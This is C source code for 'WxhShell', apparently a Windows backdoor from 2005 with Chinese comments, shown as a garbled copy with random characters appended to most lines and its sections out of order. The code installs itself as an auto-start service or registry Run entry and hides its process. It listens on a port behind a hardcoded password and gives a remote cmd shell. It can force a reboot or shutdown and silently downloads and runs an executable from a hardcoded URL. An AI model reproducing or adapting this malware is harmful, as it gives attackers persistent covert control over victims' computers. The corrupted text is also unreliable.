    } q22@ZRw  
    break; ekCt1^5Y  
    } &\W5|*`x-  
  // 关机 YDaGr6y4i  
  case 'd': { $]~|W3\G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FPkig`(3  
    if(Boot(SHUTDOWN)) `{&l _  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 49Hgq/uO  
    else { ~)#xOE}  
    closesocket(wsh); yHnN7&  
    ExitThread(0); 0Ci:w|J  
    } (G 9Ku 8Y  
    break; f!bGH-.r5  
    } mMtva}=*  
  // 获取shell Q(BM0n)f  
  case 's': { $%z M Z  
    CmdShell(wsh); BWLeitS/  
    closesocket(wsh); ',s{N9  
    ExitThread(0); 6)1xjE#  
    break; .#_g.0<  
  } uz@lz +  
  // 退出 4`p[t;q  
  case 'x': { {PkPKp  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I@uin|X  
    CloseIt(wsh); ,A9{x\1!  
    break; cHUj6'neO  
    } Tl S 904'  
  // 离开 N#8$pE  
  case 'q': { +K61-Div  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /'L/O;H20  
    closesocket(wsh); P`y 0FKS  
    WSACleanup(); I{7Hz{  
    exit(1); Bw4PxJs-  
    break; vJg^uf)  
        } ,a\pdEPj  
  } ee*E:Ltz\  
  } k-8$ 43  
WO+_ |*&  
  // 提示信息 4p]hY!7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x<>In"QV  
} q&@q /9kz  
  } .xg, j{%(  
{3G2-$yb  
  return; }O8#4-E_Ji  
} o%l|16DR  
^w~Utx4  
// shell模块句柄 ;mXw4_{  
int CmdShell(SOCKET sock) B'KZ >jO  
{ YvPs   
STARTUPINFO si; !po29w:S  
ZeroMemory(&si,sizeof(si)); ^:]~6p#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J0yo@O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i]IZ0.?Y  
PROCESS_INFORMATION ProcessInfo; bEl)/z*gy/  
char cmdline[]="cmd"; q6zKyOE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CDGN}Q2_  
  return 0; u =|A  
} fMIKA72>{  
r8vF I6J  
// 自身启动模式 BZRC0^-C@  
int StartFromService(void) r&D&xsbQ  
{ Gu\lV c  
typedef struct QW6\~l 4  
{ 6Ej@;]^^-  
  DWORD ExitStatus; xyRZ v]K1  
  DWORD PebBaseAddress; Z{ b($po  
  DWORD AffinityMask; $jNp-5+Q;  
  DWORD BasePriority; n##d!d|g  
  ULONG UniqueProcessId; M UqV$#4@I  
  ULONG InheritedFromUniqueProcessId; `+EjmY  
}   PROCESS_BASIC_INFORMATION; pYaq1_<+  
YJ~3eZQ  
PROCNTQSIP NtQueryInformationProcess; qJLtqv  
Oz7WtN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H8?Kgaj~vf  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ccJ!N  
y3pr(w9A  
  HANDLE             hProcess; .RxAYf|  
  PROCESS_BASIC_INFORMATION pbi; EFS2 zU  
^FN(wvqb8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \F8*HPM=*  
  if(NULL == hInst ) return 0; $K*&Wdo  
tJ@5E^'4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \k)(:[^FY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |csR"DOqz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); mdPEF)-  
PV/S zfvIq  
  if (!NtQueryInformationProcess) return 0; Mwd(?o  
o;2QZ"v  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M}BqSzd*  
  if(!hProcess) return 0; \hFIg3  
Oj^qh+r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J,]U"+;H  
y}!}*Qj+/  
  CloseHandle(hProcess); BjIKs~CT  
KsBi<wY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RE}$(T=  
if(hProcess==NULL) return 0; *WpDavovyB  
i& ybvTl  
HMODULE hMod; (lR9x6yf  
char procName[255]; <X1^w  
unsigned long cbNeeded; "=9kX`(1y  
tN:PWj5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q(I`g;MF  
V+2C!)f(  
  CloseHandle(hProcess); 9`p|>d!.  
dS m; e_s  
if(strstr(procName,"services")) return 1; // 以服务启动 ULIpb  
ESt@%7.F  
  return 0; // 注册表启动 V_Oj?MMp n  
} >gFEA0-  
=g+Rk+jn  
// 主模块 "iY=1F"\R  
int StartWxhshell(LPSTR lpCmdLine) .#ASo!O5q  
{ hIv8A_>@`  
  SOCKET wsl; 1O,<JrE+-  
BOOL val=TRUE; V,qc[*_3  
  int port=0; mh=YrDU+L  
  struct sockaddr_in door; 2RC|u?+@  
8RJ^e[?o(  
  if(wscfg.ws_autoins) Install(); NLA/XZ  
W6 U**ir.  
port=atoi(lpCmdLine); `c~J&@|  
w `0m[*  
if(port<=0) port=wscfg.ws_port; o0'!u  
K6l{wyMb|  
  WSADATA data; ~t-!{F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; eAD uk!Iq  
#N'W+M /  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :v>Nz7SB  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t}]R0O.s  
  door.sin_family = AF_INET; ^yo~C3 r~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $ 'obj  
  door.sin_port = htons(port); T,D(Xh  
^$I8ga  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ckTk2xPQ  
closesocket(wsl); 1SGLA"r  
return 1; c_#+xGS!7  
} MQ{.%  
U2D2?#  
  if(listen(wsl,2) == INVALID_SOCKET) { V"`t*m$  
closesocket(wsl); at-+%e  
return 1; z[`O YwsW  
} (7Q Fy  
  Wxhshell(wsl); R#x~f  
  WSACleanup(); Btgxzf  
',Q|g^rF]  
return 0; NP#:} )  
kED1s's  
} 7} 2Aq  
B<" `<oG@|  
// 以NT服务方式启动 BrO" _  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Dxlpo! ?#  
{ gx',~  
DWORD   status = 0; y]e[fZ`L  
  DWORD   specificError = 0xfffffff; (L3Etan4RE  
,'f^K!iA   
  serviceStatus.dwServiceType     = SERVICE_WIN32; _sGmkJi]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t.`&Q|a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q`kJ3b   
  serviceStatus.dwWin32ExitCode     = 0; v?=y9lEH@%  
  serviceStatus.dwServiceSpecificExitCode = 0; #oX8EMqs<  
  serviceStatus.dwCheckPoint       = 0; XDdF7i}  
  serviceStatus.dwWaitHint       = 0; J )DFH~p  
74p=uQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5SNa~ kC&  
  if (hServiceStatusHandle==0) return; bk}'wcX<+]  
p9`!.~[  
status = GetLastError(); -E(0}\  
  if (status!=NO_ERROR) Glw_<ag[  
{ qTuQ]*[-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ._i|+[  
    serviceStatus.dwCheckPoint       = 0; ~>"m`Q&[  
    serviceStatus.dwWaitHint       = 0; zvgy$]y'\  
    serviceStatus.dwWin32ExitCode     = status; !Enq2  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ump$N#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gZHuyp(B  
    return; %Y:"5fH  
  } j LS<S_`  
S 4hv7.A  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !5}u\  
  serviceStatus.dwCheckPoint       = 0; P\lEfsuR  
  serviceStatus.dwWaitHint       = 0; ~Bi>T15e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S[ln||{  
} 1XpG7  
nUy.gAb  
// 处理NT服务事件,比如:启动、停止 * ",/7(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fR$_=WWN>h  
{ ' %&gER  
switch(fdwControl) 9-3, DxZ}  
{ . \t8s0A  
case SERVICE_CONTROL_STOP: rn9n_)  
  serviceStatus.dwWin32ExitCode = 0; 6^l|/\Y{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?-Zl(uX  
  serviceStatus.dwCheckPoint   = 0;  J^V}%N".  
  serviceStatus.dwWaitHint     = 0; lPyY  
  { J_S8=`f%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $&~moAl  
  } 31^Jg  
  return; qC x|}5:  
case SERVICE_CONTROL_PAUSE: Kt#_Ln_6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uSgR|b;R]  
  break; YstR T1  
case SERVICE_CONTROL_CONTINUE: (xdC'@&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e1OGGF%E n  
  break; $Vp*,oRL  
case SERVICE_CONTROL_INTERROGATE: .US=fWyrb  
  break; ~~\C.6c#  
}; !7hjA=0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4'wbtE|  
} e=^^TX`I  
D>fg  
// 标准应用程序主函数 [p+-]V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C==yl"w  
{ v8} vk]b  
uo8[,'  
// 获取操作系统版本 omMOA  
OsIsNt=GetOsVer(); Cvp!(<<gK  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ('k9XcTPP  
q S qS@+p  
  // 从命令行安装 xWnOOE$i  
  if(strpbrk(lpCmdLine,"iI")) Install(); +6`+Q2qi  
fg)VO6Wo&  
  // 下载执行文件 ?:42jp3  
if(wscfg.ws_downexe) { KcvstC`  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l+A)MJd oj  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;l %$-/%  
} ?Gl]O3@3  
~NMx:PP  
if(!OsIsNt) { )GYnQoV4  
// 如果时win9x,隐藏进程并且设置为注册表启动 @tvz9N  
HideProc(); " vka7r  
StartWxhshell(lpCmdLine); D"V(A\sZ  
} 7tbY>U8  
else vc0LV'lmg  
  if(StartFromService()) uc>":V  
  // 以服务方式启动 jNvDE}'  
  StartServiceCtrlDispatcher(DispatchTable); w *M&@+3I  
else %E\zR/  
  // 普通方式启动 X- ZZLl#  
  StartWxhshell(lpCmdLine); V,h}l"  
(^NYC$ZxM=  
return 0; SK*z4p  
} 3;RQ\{eM  
R4y]<8}  
M$48}q+  
?g9:xgkF ^  
=========================================== jsFfrS"*  
lvsj4 cT  
!-t,r%CG  
Vw|P;LLl`  
eaAGlEW6J  
[ {$%9lm  
" \%|Xf[AX  
PjD9D.  
#include <stdio.h> ;1HzY\d%<  
#include <string.h> q6,z 1A"  
#include <windows.h> |h?2~D!+d  
#include <winsock2.h> +CM>]Ze  
#include <winsvc.h> Fw S>V2R  
#include <urlmon.h> \xlG3nz  
M!46^q~-  
#pragma comment (lib, "Ws2_32.lib") :sQ>oNnz  
#pragma comment (lib, "urlmon.lib") N;`/>R4|I  
g/FZ?Wo  
#define MAX_USER   100 // 最大客户端连接数 kH5D%`Kw  
#define BUF_SOCK   200 // sock buffer ?<`oKBn  
#define KEY_BUFF   255 // 输入 buffer :h(` eC  
)q66^% ;S  
#define REBOOT     0   // 重启 35Yf,@VO  
#define SHUTDOWN   1   // 关机 s+?2oPa  
gBky ZK  
#define DEF_PORT   5000 // 监听端口 .g3=L  
&7i&"TNptP  
#define REG_LEN     16   // 注册表键长度 %q}[ZD/HD  
#define SVC_LEN     80   // NT服务名长度 /w1M%10   
E.Q]X]q  
// 从dll定义API |AH>EXhv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #R>x]Nt}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); R_O=WmD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jsQHg2Vd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); z %Bzf~N9  
O%3Hp.|!  
// wxhshell配置信息 <PVwf`W.  
struct WSCFG { | UlG@Mn  
  int ws_port;         // 监听端口 o@BV&|  
  char ws_passstr[REG_LEN]; // 口令 D#AqZS>B  
  int ws_autoins;       // 安装标记, 1=yes 0=no Q~tXT_  
  char ws_regname[REG_LEN]; // 注册表键名 m8=n`XI  
  char ws_svcname[REG_LEN]; // 服务名 ?=ffv]v|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 - V:HT j  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,3!$mQL=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *E*oWb]H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no {zWR)o .=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9b/Dswxjx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 c"v75lW-J  
6\ yBA_ z  
}; a}uYv:  
hLbWqF  
// default Wxhshell configuration (Vr%4Z8  
struct WSCFG wscfg={DEF_PORT, qm3H/cC9+  
    "xuhuanlingzhe", 4EHrd;|   
    1, > 1(J  
    "Wxhshell", hJ$9Hb  
    "Wxhshell", <sw@P":F  
            "WxhShell Service", "(3u)o9  
    "Wrsky Windows CmdShell Service", 0'Si ^>bW  
    "Please Input Your Password: ", \XPGA uEo  
  1, <^\rv42'(2  
  "http://www.wrsky.com/wxhshell.exe", j)2I+[aoB  
  "Wxhshell.exe" T8|5%Y  
    }; &iInru3  
D8<C7  
// 消息定义模块 37$ ^ie)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; A*eVz]i,k&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; puJB&u"4L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >v%js!`f  
char *msg_ws_ext="\n\rExit."; J09jBQ] R  
char *msg_ws_end="\n\rQuit."; y ?&hA! x  
char *msg_ws_boot="\n\rReboot..."; %rMCiz  
char *msg_ws_poff="\n\rShutdown..."; =KUmvV*\  
char *msg_ws_down="\n\rSave to "; a3>/B$pE  
{G Jl<G1  
char *msg_ws_err="\n\rErr!"; +]s,VSL5`  
char *msg_ws_ok="\n\rOK!"; S~i9~jA  
GPGE7X'  
char ExeFile[MAX_PATH]; 0muC4  
int nUser = 0; B ytx.[zbX  
HANDLE handles[MAX_USER]; {Q3OT  
int OsIsNt; 8 ECX[fw  
X3\PVsH$K  
SERVICE_STATUS       serviceStatus; F?|Efpzow?  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *m}8L%<HT  
H; NV?CD  
// 函数声明 =w! ik9  
int Install(void); ~x^y5[5{  
int Uninstall(void); bAPMD  
int DownloadFile(char *sURL, SOCKET wsh); .P$m?p#  
int Boot(int flag); ]:Gy]qkO  
void HideProc(void); )Cl>%9  
int GetOsVer(void); %+H_V1F  
int Wxhshell(SOCKET wsl); 3l~+VBR_  
void TalkWithClient(void *cs); BYB4- ,  
int CmdShell(SOCKET sock); $G-<kC}8:  
int StartFromService(void); KGYbPty}  
int StartWxhshell(LPSTR lpCmdLine); ?1D!%jfi  
B S*79heY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $ ]s^M=8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); N<9 c/V  
zak\%yY`  
// 数据结构和表定义 `*3A7y  
SERVICE_TABLE_ENTRY DispatchTable[] = z_!IA ] v  
{ ? `p/jA  
{wscfg.ws_svcname, NTServiceMain}, /)6T>/  
{NULL, NULL} &t[[4+Qt  
}; `9co7[Z  
WM'!|lg  
// 自我安装 (N}-]%#  
int Install(void) ~;3yjO)l?)  
{ z'U.}27&o  
  char svExeFile[MAX_PATH]; KClkPL!jP  
  HKEY key; y#j7vO  
  strcpy(svExeFile,ExeFile); 4<i#TCGex3  
sfyLG3$/  
// 如果是win9x系统,修改注册表设为自启动 LN|(Z*  
if(!OsIsNt) { 5rows]EJJl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Jy)=TJ!y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w'K7$F51  
  RegCloseKey(key); CefFUqo4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TQ]gvi |m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z2iMpZ  
  RegCloseKey(key); (oG YnN,2  
  return 0; }PBme'kP  
    } ENZym  
  } J'}+0mln  
} m$p}cok#+S  
else { rLsY_7!  
5vyg-'  
// 如果是NT以上系统,安装为系统服务 A|\A|8=b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,`}y J*7  
if (schSCManager!=0) pUHgjwT'U  
{ !:&SfPv  
  SC_HANDLE schService = CreateService ,VS\mG/}s  
  ( %J M$]  
  schSCManager, zMv`<m%  
  wscfg.ws_svcname, 0vqVE]C  
  wscfg.ws_svcdisp, J\y^T3Z  
  SERVICE_ALL_ACCESS, mD'nF1o Ly  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $|=| "/  
  SERVICE_AUTO_START, 1 pVw,}  
  SERVICE_ERROR_NORMAL, &<N8d(  
  svExeFile, KnkmGy  
  NULL, ^ Kz ?SO  
  NULL, :}e<  
  NULL, |M;Nq@bRv  
  NULL, gw)4P tb!  
  NULL ,D;8~l lM  
  ); <[k3x8H'  
  if (schService!=0) #c:s 2EL  
  { ^3dc#5]Xf  
  CloseServiceHandle(schService); I{89chi  
  CloseServiceHandle(schSCManager); yMNJHiE/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); TRi'l#m4  
  strcat(svExeFile,wscfg.ws_svcname); ,Vi_~b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9<u&27.  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); h-96 2(LG  
  RegCloseKey(key); >%tP"x{  
  return 0; 6{I7)@>N   
    } v6 U!(x  
  } 9WG=3!-@  
  CloseServiceHandle(schSCManager); ,/?J!W@m  
} AwZ@)0Wy  
} $mPR)T  
uOv<*Jld*  
return 1; ZWCsrV*;  
} a fa\6]m  
=Fz mifTc  
// 自我卸载 8xLQ" l+"  
int Uninstall(void) @&m [w'tn  
{ NPH(v`  
  HKEY key; FEk9a^Xyx  
rN&fFI  
if(!OsIsNt) { ^aB;Oo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g$uiwqNA%  
  RegDeleteValue(key,wscfg.ws_regname); wO,qFY  
  RegCloseKey(key); +ywz@0nx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nGVr\u9z  
  RegDeleteValue(key,wscfg.ws_regname); k9 r49lb  
  RegCloseKey(key); Tv|'6P  
  return 0; JPDxzp  
  } 4BMu0["6|s  
} 5S4Nx>  
} 96\FJHt Z  
else { &E]) sJ0  
fQ9af)d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); I%4eX0QY=z  
if (schSCManager!=0) \Q#pu;Y*N]  
{ lz`\Q6rZ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9BakxmAc  
  if (schService!=0) \;-Yz  
  { XI Mh<  
  if(DeleteService(schService)!=0) { UT@Qo}:  
  CloseServiceHandle(schService); ikZYc ${  
  CloseServiceHandle(schSCManager); c^_+<C-F  
  return 0; $~8gh>`]  
  } |}77'w :  
  CloseServiceHandle(schService); gkK(7=r%  
  } qg j;E=7  
  CloseServiceHandle(schSCManager); mg*iW55g  
} Zdrniae ah  
} ;R+Gf!1  
` &=%p|  
return 1; P=}l.R*1G  
} }D1? Z7p  
#IppjaPl8  
// 从指定url下载文件 \/dOv [  
int DownloadFile(char *sURL, SOCKET wsh) */{y%  
{ \)*\$I\]  
  HRESULT hr; k6 OO\=  
char seps[]= "/"; E7$ aT^  
char *token; bv7)[,i  
char *file; rE "FN~9P  
char myURL[MAX_PATH]; \V~B+e  
char myFILE[MAX_PATH]; |xb;#ruR6  
E.C=VfBW  
strcpy(myURL,sURL); &xr(Kb  
  token=strtok(myURL,seps); ]@_|A, ]  
  while(token!=NULL) Z2;~{$&M+  
  { &|IO+'_  
    file=token; 3Q&@l49q  
  token=strtok(NULL,seps); 9a:(ab'  
  } f/ 3'lPK^  
A _7I0^  
GetCurrentDirectory(MAX_PATH,myFILE); 6ZjUC1  
strcat(myFILE, "\\"); YxnZ0MY  
strcat(myFILE, file); (;Bh7Ft  
  send(wsh,myFILE,strlen(myFILE),0); ZkibfVwe  
send(wsh,"...",3,0); ndyI sR  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); auB+g'l  
  if(hr==S_OK) ga'G)d3oS  
return 0; #.FhN x  
else U4"&T,'lTL  
return 1; U8aNL sw  
;Gu(Yoa}y  
} -{oZK{a1  
8&hxU@T~  
// 系统电源模块 h5vetci/  
int Boot(int flag) vqF=kB"P  
{ (\'lV8}U  
  HANDLE hToken; D3tcwjXoW_  
  TOKEN_PRIVILEGES tkp; nBd(p Oe  
B<|Vm.D  
  if(OsIsNt) { OgK' ~j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5rtE/ {A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >kuu\  
    tkp.PrivilegeCount = 1; m8l!+8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WK#c* rsij  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @]]\r.DG  
if(flag==REBOOT) { >2'A~?%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P-Gp^JX8  
  return 0; B90fUK2g  
} {\h:k\k  
else { &`'@}o>2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?wIw$p>wT  
  return 0; bvl!^xO]  
} )|]*"yf:E  
  } iII%!f?{[  
  else { Qdy/KL1]  
if(flag==REBOOT) { F$s:\ N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) OJFWmZ(X  
  return 0; ND3|wQ`M0  
} r.]IGE|  
else { U @}r?!)"f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |41~U\  
  return 0; @E> rqI;`  
} }?CKE<#%  
} YvUV9qps~  
-|:mRAe  
return 1; Q}^qu6  
} I 'ha=PeVn  
=+VDb5= TV  
// win9x进程隐藏模块 msq2/sS~  
void HideProc(void) ziQ&M\  
{ Wq25,M'  
ayg^js2,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I!Fd~g9I4  
  if ( hKernel != NULL ) Vc8w[oS  
  { B;<zA' 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tt&{f <*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <`BDN  
    FreeLibrary(hKernel); ;6=*E'  
  } |/u,6`  
5^{2 g^jH6  
return; Sq`Zuu9t  
} .;dI&0Z  
/i"1e:cK  
// 获取操作系统版本 OP``+z>  
int GetOsVer(void) WuQ;Da0+_F  
{ |QyZ:`0u  
  OSVERSIONINFO winfo; h.xtkD)Y~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rj29$d?Y9  
  GetVersionEx(&winfo); rLp0)Go  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <. V*]g/;  
  return 1; U_wIx  
  else rwpH9\GE  
  return 0; :?gp}.  
} t&o&gb  
aC3Qmo6?m  
// 客户端句柄模块 P(p|NRD@1  
int Wxhshell(SOCKET wsl) Nm#[A4  
{ \XbCJJP  
  SOCKET wsh; }?6gj%$c  
  struct sockaddr_in client; 1/=6s5vS}  
  DWORD myID; e=ry_@7  
0J .]`kR  
  while(nUser<MAX_USER) |-]'~ @~  
{ !3ji]q;uF  
  int nSize=sizeof(client); c`UizZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); =_$Hn>vO  
  if(wsh==INVALID_SOCKET) return 1; 4@jX{{^6%  
Upc_"mkI.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &8JK^zQq  
if(handles[nUser]==0) : TP\pH7E  
  closesocket(wsh); 7! /+[G  
else {afIr1j/m  
  nUser++; %/r:iD  
  } wYd{X 8$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gS!zaD7Nr  
:>3?|Z"Aj  
  return 0; ZkF6AF   
} ?V =#x.9  
we33GMxHl`  
// 关闭 socket u"U7aYGkY  
void CloseIt(SOCKET wsh) cE*d(g  
{ 'Z6x\p  
closesocket(wsh); gAK"ShOhG=  
nUser--; ]&"01M~+K  
ExitThread(0); fy>~ GFk(  
} Yo}QW;,g  
CH0Nkf  
// 客户端请求句柄 j HEt   
void TalkWithClient(void *cs) m :2A[H+  
{ p|w0 i[hc  
oUL4l=dj.  
  SOCKET wsh=(SOCKET)cs; rotu#?B  
  char pwd[SVC_LEN]; CE|rn8MB  
  char cmd[KEY_BUFF]; +DYsBCVbag  
char chr[1]; T@ zV   
int i,j; 8M7Bw[Q1  
$AdBX}{  
  while (nUser < MAX_USER) { d_Z?i#r0l  
=F46v{la  
if(wscfg.ws_passstr) { ;esOe\z jE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HDj260a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lwo9s)j<e  
  //ZeroMemory(pwd,KEY_BUFF); YLb$/6gj6  
      i=0; Oh,]"(+  
  while(i<SVC_LEN) { +?6@%mW'  
!WTL:dk  
  // 设置超时 && b;Wr  
  fd_set FdRead; :c9 H2  
  struct timeval TimeOut; X?'pcYSL  
  FD_ZERO(&FdRead); |Zdl[|kX  
  FD_SET(wsh,&FdRead); }qBmt>#  
  TimeOut.tv_sec=8; 5I/lFoy7  
  TimeOut.tv_usec=0; yVyh\u\  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); pL ,l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yKC1h`2  
1H8/b D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [=^Wj`;  
  pwd=chr[0]; Yb%#\.M/y  
  if(chr[0]==0xd || chr[0]==0xa) { vU9:` @beu  
  pwd=0; L fZF  
  break; ;]W@W1)$  
  } rXq{WS`  
  i++; c-ql  
    } D"&Sd@a{  
6>z,7 [  
  // 如果是非法用户,关闭 socket /Edq[5Ah  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A}(o1wuw  
} FzG>iC}  
%RzCJxT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); H4<Q}([w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V+t's*9o3  
l\ Vr D2j8  
while(1) { $t0JfDd6Ky  
r'MA$PiS'  
  ZeroMemory(cmd,KEY_BUFF); _Sl3)  
&mm!UJ  
      // 自动支持客户端 telnet标准   22 feYm|  
  j=0; \q^:$iY~  
  while(j<KEY_BUFF) { ;?%_jB$P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4B)%I`  
  cmd[j]=chr[0]; #Sg"/Cc  
  if(chr[0]==0xa || chr[0]==0xd) { Yh; A)N p  
  cmd[j]=0; R1(3c*0f  
  break; E@4/<;eKK  
  } .sD=k3d  
  j++; M[(pLYq:  
    } $CZ'[`+  
\r"gqv)^  
  // 下载文件 "egpc*|]  
  if(strstr(cmd,"http://")) { ?/8V%PL~$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w^N QLV S  
  if(DownloadFile(cmd,wsh)) ~7m+N)5  
